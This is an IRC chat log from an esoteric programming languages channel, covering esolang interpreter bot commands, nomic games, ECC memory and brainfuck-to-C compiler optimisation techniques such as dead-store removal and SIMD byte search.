!help 16:56:30 Supported commands: addinterp bf_txtgen daemons delinterp fyb fyb.orig help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum c chiqrsx9p cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh slashes test trigger udage01 underload unlambda whirl yodawg 16:56:48 !chiqrsx9p H 16:56:48 Hello, world! 16:56:55 why do EgoBot commands not tab-complete? 16:56:57 it would be really useful... 16:57:02 ^:D 16:57:03 ais523, make your client do it 16:57:07 oops 16:58:24 !chiqrsx9p xgibberish 16:58:32 aww 16:59:28 -!- puzzlet has quit (Remote closed the connection). 16:59:32 -!- puzzlet has joined. 16:59:57 the x command is a _tiny_ bit hard to use, i fear 17:00:03 * oerjan cackles evilly 17:00:08 it doesn't even make it TC 17:00:10 nah, 1 in 256 of the time it's trivially easy 17:00:17 hm true 17:00:26 you could rerun it until it worked 17:01:03 !chiqrsx9p 9 17:01:03 99 bottles of beer on the wall, 17:01:07 oh dear 17:01:14 aww, it messages me the rest 17:01:23 Instead of being an evil menace to the channel 17:01:36 blame GregorR 17:01:49 it should just do like lambdabot 17:01:55 do the first few lines, then require a command to do more 17:01:57 Ok, it's going a bit slowly 17:02:00 thus if it floods it's your fault :) 17:02:32 Sgeo: It does exponential backoff, and only sends 8 messages. There is no way to get the full output. 17:02:34 99 bottles of beer * 2 seconds / bottle = over 3 minutes of spam via PRIVMSG 17:02:57 It's slower than 2sec/bottle 17:02:59 Much slower 17:03:25 Meh, 2 seconds / line is the acceptable rate 17:03:39 i forgot how amazing worms' music is 17:03:43 Sgeo: It does exponential backoff, and only sends 8 messages. There is no way to get the full output. 17:04:06 It sent 5 messages, including the one to the channel 17:04:16 just wait 17:04:20 and it'll send a few more 17:04:22 very slowly :P 17:04:51 Nowait, I'm sorry, five messages, the last one is /eight/ seconds. 17:05:01 (Got my numbers weirded) 17:05:03 ah 17:05:18 Deewiant: Your "acceptable" rate of drinking is 2 seconds / bottle? Rather hard-core. 17:05:23 :D 17:05:44 Any slower and you're a cop-out. 17:05:45 To be pedantic, I did not claim 2 seconds / bottle was acceptable 17:05:51 But sure, why not. 17:06:32 actually i'm not sure it counts as music, more ambience 17:06:46 !chiqrsx9p xprint "Hi!"; 17:07:02 uh oh 17:07:02 !chiqrsx9p xprint "Hi!"; 17:07:03 !chiqrsx9p xprint "Hi!"; 17:07:04 AmbiAnce. 17:07:05 !chiqrsx9p xprint "Hi!"; 17:07:07 !chiqrsx9p xprint "Hi!"; 17:07:09 !chiqrsx9p xprint "Hi!"; 17:07:11 !chiqrsx9p xprint "Hi!"; 17:07:14 by the birthday paradox, how many times do we have to do this> 17:07:15 -!- Hiato has joined. 17:07:15 ? 17:07:15 ehird: Yes, very helpful of you. 17:07:22 GregorR: yw 17:07:28 birthday paradox doesn't apply 17:07:39 so i say about 128 17:07:39 nah, it's not birthday 17:07:58 and no, oerjan, multiplying by 0.5 gives the expectation, which isn't what's wanted here 17:08:10 for the median number of times, you have to multiply by approximately ln 2 17:08:17 -!- Hiato has quit ("Leaving."). 17:08:21 * oerjan swats ais523 -----### 17:08:28 ouch! 17:08:58 "-----###" looks more like a mace than a fly-swatter to me. 17:09:04 And a mace is a mean thing to swat somebody with. 17:09:14 it's been rebuilt 17:09:58 D&D style alignment system for nomics: Silly/Serious Lenient/Pedantic 17:10:11 Sgeo: ooh 17:10:25 Does "Silly/Pedantic" make sense? 17:10:41 GregorR: yes, I've seen such nomics in the past 17:10:59 (I've generated 35 potential 26-letter pangrams, but they all include either "VFW" or "WV" >_<) 17:11:10 so is agora still at Serious/Pedantic? 17:11:18 oerjan: yes 17:11:21 agora's serious/pedantic-with-handwaving 17:11:26 in fact, it may be in a B-style crisis atm 17:11:29 which is almost unprecedented 17:11:33 serious neutral :D 17:11:37 because if it is a genuine crisis, ratification wouldn't have worked 17:11:43 * GregorR assumed that Sgeo was referring to participants, not the nomics themselves. 17:11:59 same thing 17:12:26 GregorR: i'd suggest doing the rarest letters first, since that gives fewest options 17:12:26 The participants can span the board and just sort of "average out" to something. 17:12:38 (presumably) 17:12:50 oerjan: A friend of mine suggested that, but I had already been running this for days, so now he's running that :P 17:12:51 oerjan: the latest herald's report mentions that you're behind insane proposals 17:12:53 will you marry me? 17:12:56 well, were behind 17:13:24 yes indead 17:13:30 in dead? 17:13:37 *indeed 17:13:46 it was a silly proposal 17:14:01 insane proposals still exist? 17:14:17 nope 17:14:20 should do though 17:14:20 :( 17:14:26 oerjan: did the map exist in your time? 17:14:31 town fountain? 17:14:54 i am not quite sure 17:15:13 there may have been a game something map-based 17:15:27 oerjan: http://agora.qoid.us/current_flr.txt; first rule is the map 17:15:40 it's not much of a rule, having no effect 17:17:20 ehird: that same silly week i also voted by phone 17:17:32 oerjan: how silly 17:18:15 alas, i only hit steve's answering machine 17:19:08 i only know steve from the spam scam 17:20:05 -!- KingOfKarlsruhe has quit (Remote closed the connection). 17:20:31 that map is definitely from after my time 17:20:57 i don't actually know when you left :P 17:22:02 spam scam? 17:22:07 ... 17:22:23 H. Distributor Steve gets a spam email to the lists. He edits it to include a without-objection rule amendment 17:22:26 and lets it go on to the lists 17:22:34 Everybody's spam filters ignore it 17:22:36 He ratifies it 17:22:38 profit 17:23:33 somewhere around 2002 17:24:51 Hah 17:24:54 That's brillant 17:25:05 GregorR: I didn't know you were a nomic fan 17:25:07 GregorR: Yeah, it is a bit of an abuse of office though 17:25:12 ais523: does he have to be to appreciate that? 17:25:16 no 17:25:29 not knowing X does not necessarily imply that X is true, though 17:25:47 I've never nomic'd because I think the whole thing is a waste of time, but that doesn't mean I don't enjoy them :P 17:26:03 GregorR: dude you operate a site about choosing what hat you will wear 17:26:16 and use a neural net to match colours 17:26:18 WARNING. WARNING. ABOVE STATEMENT WAS SARCASM 17:26:22 o 17:26:22 :P 17:26:44 I /still/ want to find a group of people to play my card-game Nomic. 17:26:49 * ehird kills two worms in his first two turns by (1) fire punch (2) baseball bat into the sea. Yay. 17:26:56 GregorR: make it playable online and you're on :-P 17:27:16 * ais523 vaguely advertises ##nomic 17:27:18 ehird: That would sort of kill it, as any change to the rules that deviates too much would require a rewrite of the engine >_> 17:27:25 * ehird vaguely disadvertises ##nomic 17:27:28 which has been really active recently despite ehird's attempts 17:27:29 ehird, that's why I set the Agora filters to not let emails from there go into spam 17:27:38 * GregorR vaguely vagueomits all over ##nomic 17:27:49 * ehird vaguegasms 17:28:14 Why does ehird hate ##nomic ? 17:28:20 Not because I'm there, I hope 17:28:23 long story 17:28:24 :P 17:28:31 one which is not on topic for #esoteric 17:28:38 in case ais523 wants to but in with his own version of events ;-) 17:28:41 anyhoo 17:28:50 it is indeed offtopic 17:28:50 * ehird thinks of an esolang based on Worms. 17:28:59 that would be quite hard to program in, I imagine 17:29:31 you'd have worms which when you hit them with weapon X output a certain character, etc 17:34:56 * Sgeo turns evil 17:35:27 -!- BeholdMyGlory has joined. 17:39:42 * AnMaster ponders writing an SQL database engine in befunge 17:40:22 ais523: do you know any reason a background animation in an old game should speed up because you move your mouse? 17:40:33 I'm trying to figure out how you do animation that leaves that oddity... 17:40:41 ooh, I'm aware of the general principle 17:40:45 maybe they're doing it every event? 17:40:52 and setting a timer to trigger the event every N 17:40:52 all sorts of things speed up if you move your mouse 17:40:56 but your mouse moving triggers it 17:40:56 and yes, it's generally based on event loops 17:41:13 also to do with borken implementations of slowing down idle programs in a multitasking environment 17:41:23 you move your mouse -> the program isn't idle -> it isn't slowed 17:41:24 there should be a bit of hardware that just gives an event to the OS as fast as possible, evidently 17:42:43 using SOCK to allow client(s) to connect.. hm 17:45:53 -!- oerjan has quit ("leaving"). 17:53:08 There are now two programs written in 1L_a 17:53:11 A, and H! 17:54:01 Now, for a Boolfuck interpreter! 17:58:10 ehird: http://bayimg.com/image/mapojaabh.jpg 17:58:31 bsmntbombdood++ 17:59:05 :) 17:59:40 Intel's phasing out the i7 940 17:59:45 Eh? 17:59:46 Why? 17:59:50 Nuthin' wrong with it. 17:59:57 I'm not Intel, don't ask me. 18:00:04 http://www.tgdaily.com/html_tmp/content-view-42332-135.html 18:00:08 Well fuck Intel :-P 18:00:14 The 940 is a nice balance. 18:00:45 that's weird 18:00:48 yeah 18:00:49 !boolfuck ;;;+;+;;+;+;+;+;+;+;;+;;+;;;+;;+;+;;+;;;+;;+;+;;+;+;;;;+;+;;+;;;+;;+;+;+;;;;;;;+;+;;+;;;+;+;;;+;+;;;;+;+;;+;;+;+;;+;;;+;;;+;;+;+;;+;;;+;+;;+;;+;+;+;;;;+;+;;;+;+;+; 18:00:50 Hello, world! 18:00:50 doesn't matter though 18:00:53 if you have one, you have one 18:00:59 Deewiant: do you use ecc memory btw? 18:01:05 the i7 doesn't support it which is weird 18:01:14 No, I don't 18:01:31 yar 18:01:34 it doesn't really seem worth it 18:01:59 Not for desktops, at least 18:02:05 1 bit per gigabyte per month 18:02:12 seems like it could fuck a lot of shit 18:02:14 what exactly does static mean in the context of C++... 18:02:21 it seems overloaded 18:02:21 bsmntbombdood: wut? 18:02:32 AnMaster: It's overloaded even in C 18:02:38 Deewiant, yes, but not as much 18:02:45 ehird: they say that non-ecc has 1 bit error per gigabyte per month 18:02:49 ah 18:02:59 that's funny, my computer isn't crashing randomly due to bits being misplaced. 18:03:04 It's even more overloaded in D 18:03:04 are you sure that's not marketing talk from the ecc people :) 18:03:09 a random misplaced bit generally has no effect anyway 18:03:11 Deewiant, err... static == local to file in C? Can be used for functions and variables. 18:03:36 ais523: hm. why> 18:03:37 ? 18:03:38 AnMaster: Yes, at global scope. At function scope, it means that a variable is global but visible only from there. 18:03:46 ais523: uh....yes it does 18:03:51 that's funny, my computer isn't crashing randomly due to bits being misplaced. <-- a lot of the time it will be in currently unused memory I suspect. 18:03:56 ah 18:03:58 if it's in an image or something, sure 18:03:59 ehird: because of all the bits that might flip in memory, only a small proportion of them generally have an effect on control flow 18:04:07 but if it's in an executable 18:04:09 many will be unused, or in an image or text 18:04:11 Deewiant, ah right true, don't use that a lot so didn't think of that. 18:04:12 or loop counters in delays 18:04:14 etc 18:04:17 but 18:04:20 surely it can't be such a problem 18:04:23 if they sell non-ecc memory 18:04:24 tbh, even a random bitflip in an executable will be unlikely to do anything worse than making it crash 18:04:25 and people are fine with it 18:04:38 and crashing isn't a big deal? 18:04:47 In D, we have: static variables, static constructors/destructors, static assert, static if, static import 18:04:49 bsmntbombdood: i've never used ecc memory and I've never had a problem at all 18:04:56 Ditto. 18:04:56 yeah 18:04:58 bsmntbombdood: much less than once per month, most likely on a program that crashes more often than that for other reasons? 18:05:00 I think the problems may be greatly exaggerated 18:05:11 bsmntbombdood: what OS do you run? 18:05:12 And stuff crashes more than once per month for me anyway. 18:05:14 ais523: you must be running the wrong programs 18:05:15 also, it slows down ram access a tiny bit :P 18:05:16 ais523: linux 18:05:28 If I get an additional crash due to not using ECC memory, I really won't notice. 18:05:35 ehird: 2% is the usual figure IIRC. 18:05:47 ehird: write a program to md5sum 1 gb of randomly initialized memory and put it at nice 19 for a month 18:05:57 bsmntbombdood: I write lots of programs, they crash all the time until I get them working properly 18:05:58 bsmntbombdood: i don't do that shit :P 18:06:00 Deewiant, Any reason you can't introduce new keywords instead? 18:06:03 anyway, seriously 18:06:18 AnMaster: Walter doesn't like doing that. 18:06:21 is ECC memory really needed 18:06:29 I can't think of one corruption I've had of memory 18:06:29 ever 18:06:30 I understand that doing it too much is bad, but I think static is too overloaded :-P 18:06:32 anyway, the vast majority of memory used by an executable is in large malloced objects 18:06:46 and bitflips there are unlikely to be particularly disastrous 18:06:53 probably just cause one particular result to go haywire 18:06:58 or a segfault, if it hits a pointer 18:07:15 ais523: that sounds pretty bad to me 18:07:21 OTOH that's never ever ever ever EVER happened to me 18:07:30 and i'll bet it's never happened to most other people 18:07:35 if it does, then non-ecc memory is a sham 18:07:52 http://www.reddit.com/r/programming/comments/8i77h/do_you_use_ecc_dram_why/ 18:07:54 ehird: what proportion of your memory do you normally use? 18:08:01 Deewiant: that's where I got my question from 18:08:08 this sort of thing would probably happen about once a decade 18:08:09 I figured. 18:08:12 Deewiant, sure yes, you can run into issues with user named identifiers in some cases. But in most that interpretation doesn't make sense 18:08:12 on average 18:08:22 on the other hand I guess that makes the grammar even harder to parse... 18:08:43 Deewiant: can you buy superfast ram with ecc, even? 18:08:52 "Superfast"? 18:08:54 I imagine not 18:09:05 -!- tombom has joined. 18:09:08 Deewiant: as in "excessive like that ddr ssd" sort of fast :-) 18:09:14 Probably not. 18:09:42 I wonder if xeon has any DISadvantages vs i7 18:09:44 ehird, with enough money I bet you could develop such a thing 18:10:02 ;P 18:13:27 AnMaster: http://www.ramsan.com/products/ramsan-400.htm 18:13:42 http://www.ramsan.com/products/ramsan-440.htm 18:13:44 40 better bitch 18:13:48 ok be back later 18:13:50 also that's not RAM :-P 18:18:09 But it is RamSan :P 18:21:09 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 18:24:35 -!- ais523 has quit ("getting dinner, I'll be back later"). 18:40:12 Bleh, Boolfuck is little-endian. 18:40:24 Is there a *fuck that's JUST bitwise brainfuck? 18:40:54 That is, the only change is removing - and + switches bits? Not little-endian like Boolfuck, not combining more operators like Bitchanger? 18:41:09 It should take about 2 minutes to whip up Bitfuck :-P 18:41:34 Yeah, but I was hoping for one that already existed and already had a trivial translation from BF so I wouldn't have to do that first :P 18:41:36 I.e. no, I don't know of one, but feel free to make one 18:42:01 GregorR, little endian how 18:42:12 AnMaster: It does the bits backwards. It's bit-wise little-endian. 18:42:16 AnMaster: Which makes no kind of sense X_X 18:42:22 GregorR, you mean for I/O? 18:42:25 Yeah 18:42:38 GregorR, big endian makes just as much sense. 18:43:17 When was the last time you wrote a binary number in little-endian order :P 18:43:54 GregorR, well, bit-endianness usually isn't visible on most platforms. But for bytes... hm... half a month ago I think. 18:43:57 maybe three weeks. 18:44:29 It was when messing with inline asm and SSE. 18:44:52 GregorR, your point? 18:45:12 OK, how about I go from this angle instead: 1L_a uses "big-endian" bitwise reads/writes, so writing a Boolfuck interpreter in it would suck because I'd have to buffer. 18:45:28 I don't even know what 1L_a is 18:45:33 link to it? 18:45:42 http://www.esolangs.org/wiki/1L_a 18:45:47 thanks 18:46:29 I want to prove that it's T.C., although I'm not yet convinced that it is :P 18:52:28 -!- M0ny has joined. 18:57:01 -!- MizardX has quit ("I'll be back in a few minutes. I have to change location..."). 18:58:18 * ehird listens to Graue's noise to attempt to come to esozen 18:59:22 I like this. I don't think I'm supposed to. 19:01:32 ehird, err... what is "esozen" 19:01:38 The zen of eso. 19:01:42 mhm 19:01:54 http://oceanbase.org/data/files/music/Scrap%20Heap%20-%20Live%20at%20Electric%20Possible,%20Feb.%202009.mp3 19:01:59 somehow I read it as "reason" on the first pass. I have no idea how that happened. 19:02:00 recorded quietly, he sez. 19:02:08 also, esozen is the exact opposite of reason 19:02:13 indeed 19:02:17 it stands to esozen that it should be very similar in appearance 19:02:22 who is Graue btw 19:02:34 AnMaster: creator and curator of esolangs.org 19:02:41 aka catatonic purpoise 19:02:52 I see 19:03:02 do I dare listen to it? 19:03:12 It's not actively hostile, it just doesn't have melody. 19:03:17 It's quite soothing 19:03:21 ehird, white noise? 19:03:24 No. 19:03:43 Mostly a bit of bashing some stuff and a little not-that-whiney feedback. 19:03:47 i'm tired of pattern matching in python and trying to write esotope-bfc in ocaml again, aww. 19:03:53 lifthrasiir: HASKELL. 19:04:08 ehird: that'd be a option too. 19:04:21 Bah, but I want to write mine in haskell :P 19:04:28 ehird, I only hear a few clicks? 19:04:38 AnMaster: Turn the sound up (it's recorded quiet) and wait. 19:04:47 I promise you it doesn't suddenly turn into white noise :P 19:04:58 ehird, or suddenly turn into high volume? 19:05:02 at least i have written some more codes in ocaml than haskell, so... :p 19:05:03 promise. 19:05:07 * AnMaster wgets and imports into audio editor just in case 19:05:23 i have better things to do than find noisy music that turns int o white noise just for you AnMaster :P 19:05:24 20 MB heh 19:05:35 anyway they both are not familiar to me, i indeed have to learn functional languages seriously. 19:05:42 Prolog! 19:05:49 Deewiant: Awwww!!!! 19:05:53 :-D 19:06:28 ehird, doesn't need to be white noise to break eardrums. I have headphones so I'd prefer to be extra careful. I do want to be able to hear anything tomorrow too. 19:06:34 ;P 19:06:42 goddamn, it's not loud, honestly 19:06:56 ehird, hm ok. How long is it 19:07:03 AnMaster: 5-7 minutes? 19:07:07 ok 19:07:14 well i also have used prolog (not free software environment, btw) but i felt uncomfortable whenever i use it. 19:07:18 -!- MizardX has joined. 19:07:20 prolog kind of sucks 19:07:23 imo 19:07:28 what i want is haskell+prolog syntax 19:07:35 ehird, it sucks in a brilliant way? 19:07:36 and it was quite slow. 19:07:38 ;P 19:08:00 like a heck. 19:08:25 lifthrasiir, talking about slowness. Link to your optimising compiler? 19:08:33 I assume it is even better now 19:08:45 AnMaster: http://code.google.com/p/esotope-bfc/ 19:09:02 lifthrasiir, how good is it at lostkingdom now 19:09:41 ehird, audacity says 15 minutes.. 19:09:55 i was guesstimating. 19:10:27 i was fixing some bugs and considering several corner cases so far. the main optimizer didn't see much progress. 19:11:08 on the other hand i'm planning array optimization, but i'm not decided how to do yet. 19:11:20 * ehird gains esolightenment 19:12:03 ehird, I listened to it for a bit. Not my type of, mu^Wno^Wperformance. 19:12:13 I never claimed it was 19:12:18 You're the one who brought it up :P 19:12:19 ehird, interesting though 19:12:29 Graue has like 10 releases of that kind of stuff 19:13:00 stuff. Good word for it. 19:13:54 lifthrasiir, you could remove those stores to cells right 19:13:58 since they aren't used. 19:14:03 yep 19:14:11 lifthrasiir, plan to implement that? 19:14:13 lifthrasiir: use fputs 19:14:15 not printf 19:14:17 in case someone outputs %s 19:14:19 also a bit faster 19:14:19 ehird, that too 19:14:19 AnMaster: what do you mean? 19:14:22 (not puts, it gives a newline) 19:14:37 ehird: well you're right. of course i escaped % properly ;) 19:14:42 and of course* 19:14:43 printf is slower! :-( 19:14:48 lifthrasiir: in 19:14:49 p[1] = 0; 19:14:50 p[0] = 100; 19:14:52 p[3] = 0; 19:14:54 p[2] = 33; 19:14:56 p[5] = 0; 19:14:58 You'd think puts(x) and fputs(x, stdout) are equivalent but no 19:14:58 p[4] = 87; 19:15:00 printf("Hello World!"); 19:15:02 lifthrasiir, well you could just turn it into fputs("Hello World!"); and drop those assignments before 19:15:02 you don't need to write to p 19:15:04 since they're never read 19:15:06 trivial optimization 19:15:06 since they aren't used. 19:15:08 Deewiant: yeah it pisses me off 19:15:10 fputs("Hello World!")? 19:15:12 lol wat 19:15:14 ehird: ah, dead code. okay. 19:15:18 ehird: GCC is quite clever enough to figure those out? 19:15:27 Deewiant: GCC can figure a lot of shit out 19:15:33 But clang also does array→variable conversion 19:15:34 Assuming the resulting C code is put through an optimizing compiler I wouldn't bother 19:15:36 So relying on just gcc is silly 19:15:37 i also plans to do so but i think global optimizer is needed to do it efficiently 19:15:39 Also, might as well be sure,. 19:15:58 another thing... 19:16:00 unsigned char m[30000], *p = m; 19:16:01 ehird: My point being that any decent compiler should be able to see that it's not used. 19:16:03 should be static 19:16:10 Deewiant: not worth relying on 19:16:14 it's trivial to remove anyway 19:16:19 Not necessarily, if it is trivial 19:16:22 lifthrasiir, allows optimiser to see it won't be used outside the single file 19:16:25 But if it isn't, I wouldn't bother. 19:16:34 it doesn't know that it is only one file yet. The linker does. 19:16:49 of course you can tell the compiler that 19:17:09 AnMaster: that is ad-hoc too, i really have to analyze how many cells are used. 19:17:12 but usually that involves finding whatever switch the compiler use. 19:17:22 for example, static unsigned char m[5], *p = m;... etc. 19:17:23 lifthrasiir, not decidable in the general case. 19:17:36 nor are most optimizations 19:17:41 lifthrasiir: are you gonna make an auto-growing tape? 19:17:46 ehird: someday. 19:17:50 e.g. let ,[a thousand >s] work 19:18:07 AnMaster: at least you know optimized hello world program won't use any memory cells. 19:18:22 lifthrasiir, yes. It will work for trivial programs 19:18:47 in fact it will work for any "balanced loops only"-program 19:20:18 and possibly for some with unbalanced ones (for example, you could potentially know what cell is set in this program: >>>,<<<[>].) 19:21:12 in case you optimise [>] into a memchr() or similar anyway. 19:25:02 AnMaster: I lie -- it does get really loud all of a sudden at one point. 19:25:06 The applause at the end :P 19:25:24 ehird, applause from people or from GM? 19:25:31 (or possibly GM2) 19:25:40 define:GM 19:25:47 but the former 19:26:03 err 19:26:09 GM = General Midi 19:26:10 AnMaster: there are many cases such as [>>>>] (memory operation independent to p[0] here) [<<<<] in lostkng; my current concern is how to optimize them, as it is effectively an array operation. 19:26:46 ehird, I don't remember instrument number, but GM and/or GM2 contains applause. 19:26:55 ah. 19:27:08 i can optimize [>] into memchr(), but i cannot [>>] or [<]. nor i think using memchr is important optimization. 19:27:29 [>>] is very common for th 1 elem 1 elem 1 elem 0 structur 19:27:30 e 19:27:31 *the 19:27:51 lifthrasiir: you can optimize [>>] to 19:28:03 for (;*p; p+=2) 19:28:05 ; 19:28:07 but I assume you do 19:28:13 the +=2 bit 19:28:19 ehird: it really does so now. 19:28:24 hah 19:28:30 ah. 19:28:50 well of course we can use similare techniques used in memchr to [>>] or [>>>>]; but that's another story. 19:28:51 lifthrasiir, you can do -=n for [<] [<<] and so on 19:29:05 AnMaster: yes, it already does so. 19:29:20 example in lostkng output: while (p[43] != 0) p -= 2; 19:29:22 lifthrasiir, anyway memchr is _probably_ better than for (;*p; p++) 19:30:08 lifthrasiir: you mean the (int*) way of reading shit? 19:30:15 that sort of stuff 19:30:20 That's what memchr does 19:30:35 since glibc memchr() is insanely optimised. Like strlen(), memchr() is made to search of bytes at once. 19:30:39 ehird: yes. or using SIMD instructions. 19:30:41 this is common in many libc() 19:30:44 lifthrasiir, oh that too? 19:30:47 right 19:30:58 AnMaster: SIMD instructions are good for some thousand bytes... iirc. 19:31:16 some thousand bytes and more* 19:31:21 lifthrasiir, err? 19:31:30 lifthrasiir: not on an x86 19:31:59 AnMaster: am i wrong? my knowledge on x86 is quite limited. :S 19:32:00 oh I guess AltiVec might. 19:32:14 memchr just reads using using (unsigned long*) 19:32:18 In glibc, that is. 19:32:29 lifthrasiir, SSE operands and registers are 128 bits wide. 19:32:44 not sure you can do byte searching with it 19:32:56 AnMaster: you can 19:33:04 memcpy() and such definitely can use SSE to copy fast. 19:33:14 bsmntbombdood, really? which SSE instructions would you use for it. 19:34:19 i don't remember exactly 19:35:29 i think theres a compared packed bytes -> mask instruction 19:35:48 bsmntbombdood, which SSE version? 19:36:06 don't know 19:36:45 can't find anything like it in the AMD64 reference docs. 19:36:55 PCMPEQB, Compare packed bytes in mm/m64 and mm for equality. 19:37:03 ah 19:39:07 AnMaster: as far as i know libc memchr() does similar thing, xoring current dword with (byte * 0x1010101) and find null byte in it. 19:39:12 hm that could work. But testing if you hit any match would not be that trivial. Control flow + SSE doesn't match well. 19:39:40 lifthrasiir, err 0x1010101... don't you mean 0x101010101010101 19:39:44 ;P 19:39:54 that'd be qword. :p 19:40:13 lifthrasiir, well actually it would be a machine sized word on my computer. 19:40:42 AnMaster: i think that's a very reason that SIMD-based memchr is slower than original memchr for smaller cases. 19:40:48 AnMaster: load one register full of the byte you are looking for, the other with a portion of the string, then xorps, then use the bytes -> bitmask operation, then ffs 19:41:01 SIMD initialization is too costy. 19:41:21 costly* 19:41:22 lifthrasiir, yes indeed it is 19:41:25 compare 16 bytes in 4 instructions 19:41:28 bsmntbombdood, "ffs"? 19:41:36 AnMaster: find-first-set 19:41:40 AnMaster: cf ffs(3) 19:42:09 bsmntbombdood, you need to store the result to temporary memory then 19:42:32 afaik you can't easily find first set on an sse register directly 19:42:46 oh, sse4.2 has PCMPESTRI 19:43:02 bsmntbombdood, since my computer only has SSE3 that feels completely irrelevant to me :P 19:43:13 what has sse4.2? 19:43:18 newer ones I guess. 19:43:34 hmm 19:43:37 I think nehalem 19:43:42 yep 19:43:43 Nehalem only, currently 19:43:51 bsmntbombdood: "Packed Compare Explicit Length Strings, Return Index"? does it work like repe/repne prefix? 19:43:55 MORE REASON WHY THE i7s/XEONS ARE TOTALLY AWESOME <_< 19:44:00 ehird: yay! 19:44:16 SSE4.2 has a CRC32 opcode, that's also pretty funky. 19:44:19 bsmntbombdood: with your new machine you can write hyper efficient code that nobody else can run! woohoo :-) 19:44:24 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 19:44:25 lifthrasiir: no idea, i have 0 assembly knowledge 19:44:29 ehird, um. What about ABM 19:44:32 ehird: fuck yes 19:44:42 AnMaster: ABM= 19:44:48 ehird, -mabm 19:44:49 The newer Core 2s have SSE 4.1, the older ones have SSSE3, AMD's still at SSE3 19:44:55 AnMaster: What's that do 19:44:57 well i thought you know it more than me 19:45:05 ehird, it's like SSE5 or something iirc 19:45:13 forgot if it was Intel or AMD 19:45:17 INTEL FUCKS AMD SUCKS. I can't think of anything better to rhyme with sucks 19:45:18 bsmntbombdood: I will sell you 1 assembly knowledge for 1 proof of 1L_a-Turing-completeness. 19:45:25 ehird, actually I think ABM was intel 19:45:30 and SSE5 was AMD 19:45:31 GregorR: STOP SELLING NON-SCARCE ASSETS BITCH 19:45:33 unless I misremember 19:45:35 AnMaster: I was talking to Deewiant :-P 19:45:43 19:44 Deewiant: The newer Core 2s have SSE 4.1, the older ones have SSSE3, AMD's still at SSE3 19:45:50 SSE5 is AMD's and due in 2011 19:45:56 GregorR: hah! 19:45:59 -!- puzzlet has joined. 19:46:00 AVX is Intel's and due in 2010 19:46:03 AnMaster: i think i remember seeing an ffs instruction on sse registers 19:46:04 aha, BUT 19:46:07 amd are adopting avx 19:46:09 Deewiant, what about *ABM* 19:46:10 AnMaster: perhaps even find-first-byte-set 19:46:15 AnMaster: Doesn't ring a bell. 19:46:18 Therefore avx is better qed 19:46:28 Deewiant, it is mentioned in man gcc for the -msse* section 19:46:32 gcc 4.3 19:46:39 AMD are incorporating parts of AVX, to be exact. 19:46:44 AnMaster: yeah, sse4a has lzcnt 19:46:52 Intel may or may not incorporate parts of SSE5. 19:47:00 bsmntbombdood, well that is irrelevant to me too. 19:47:19 AnMaster: it's not my fault you have an archaic proc 19:47:30 bsmntbombdood, um. archaic is way older 19:47:38 this is just "not last edition" 19:47:58 bsmntbombdood: dude, you use a P4 19:48:04 unless your computer arrived already :P 19:48:34 ehird: newegg is slow, my order is "processing", whatever that means 19:48:55 bsmntbombdood: Here is how it is defined: archaic = PDP/11, very old = pentium3, old = pentium 4, early 64-bit sempron = not state-of-art but still rather new 19:48:56 It means they're using your computer. 19:49:03 -!- Hiato has joined. 19:49:05 "Hey, it's processing." 19:49:13 :D 19:49:17 Hey all 19:49:25 hi 19:50:02 mhm 19:50:39 what's the best primality test? Bu that I mean which uses the least/lowest complexity time for the best probability? 19:50:52 Your early 64-bit Sempron is slower than some Pentium 4s. 19:51:01 Hiato: it depends if you want deterministic or nondeterministic 19:52:34 lifthrasiir, "This pass is likely to change, since it depends on ad-hoc analysis currently. SSA-based optimizer is planned, but not yet implemented."? 19:52:40 bsmntbombdood: well, at this point, its pretty immaterial. I was looking at AKS, but I can't find a good implementation. The number I want to test is too massive for the standard trial division or elliptic methods 19:52:47 how would you do SSA for bf 19:52:48 PDP11 is more than archaic 19:52:52 P3 is archaic 19:52:54 ...trial division!?!?!?!?! 19:52:58 P4 is really old 19:53:01 ehird, what do you call PDP11 then 19:53:01 Hiato: see miller-rabin for a start 19:53:08 AnMaster: an abacus 19:53:10 MEGACHAIC 19:53:11 AnMaster: mainly for constant & copy propagation and dead code elimination. 19:53:14 ehird: What do you call an abacus 19:53:16 ehird, that is technically incorrect. 19:53:25 Deewiant: A collection of atoms 19:53:28 yeah what Deewiant said 19:53:32 current optimizer doesn't do any optimization across basic blocks 19:53:32 :-D 19:53:35 but an abacus can sort in constant time! 19:53:44 For constant input sizes 19:53:47 ehird, what do you call a collection of atoms. 19:53:47 bsmntbombdood: well, bead sorting? :p 19:54:06 yeah 19:54:06 heh, well, the thing is I just wanna plug (3^797161-1)/2 into something and see what I get 19:54:08 !fyb 19:54:08 Use: !fyb 19:54:15 ^^^ ADVERTISEMENT 19:54:31 !help fyb 19:54:31 Sorry, I have no help for fyb! 19:54:41 !help befunge98 19:54:41 Sorry, I have no help for befunge98! 19:54:41 FukYorBrane? 19:54:45 http://codu.org/eso/fyb/README 19:54:45 Yeah 19:54:57 Hiato: i think gmp has primality tests 19:55:00 Oh right, that thing we played with yesterday :-P 19:55:38 bsmntbombdood: cool, will check 19:55:41 http://codu.org/eso/fyb/report.txt // Somebody tied with logicex-2 :P 19:55:42 Hey, I beat everybody except you, w00t. 19:55:48 lifthrasiir, what about polyhedra loop optimisation? 19:56:17 Hiato: mpz_probab_prime_p 19:56:37 awesome, will do, thanks 19:56:56 AnMaster: that's for distant future right now. heh. i didn't view any paper or articles on it yet. 19:57:06 "One is to use two or more cells per item, where one is used for actual value, one is used to mark the boundary of array (for [>>] or variants), and others are scratch cell." 19:57:29 lifthrasiir, iirc ais bf backend to gcc used 5 cells 19:57:33 19:53 AnMaster: ehird, what do you call a collection of atoms. 19:57:36 for various uses. 19:57:37 a collection of quarks 19:57:47 AnMaster: so it says "[>>] or variants". 19:57:48 ehird, and what do you call a collection of quarks? ;P 19:57:49 AnMaster: are you talking about brainfuck optimization? 19:57:55 lifthrasiir, hm 19:58:02 AnMaster: a collection of quarks 19:58:07 Discrete space, bitch. 19:58:18 bsmntbombdood: i'm making highly-optimizing brainfuck compiler for now. :) 19:58:28 lifthrasiir: what's your target? 19:58:30 bsmntbombdood, no. I'm talking about optimising intercal of course... what do you think 19:58:46 hopefully C, so i can understand it 19:58:46 AnMaster: ;) 19:58:55 bsmntbombdood: brainfuck-to-C compiler. 19:59:06 if you are interested, 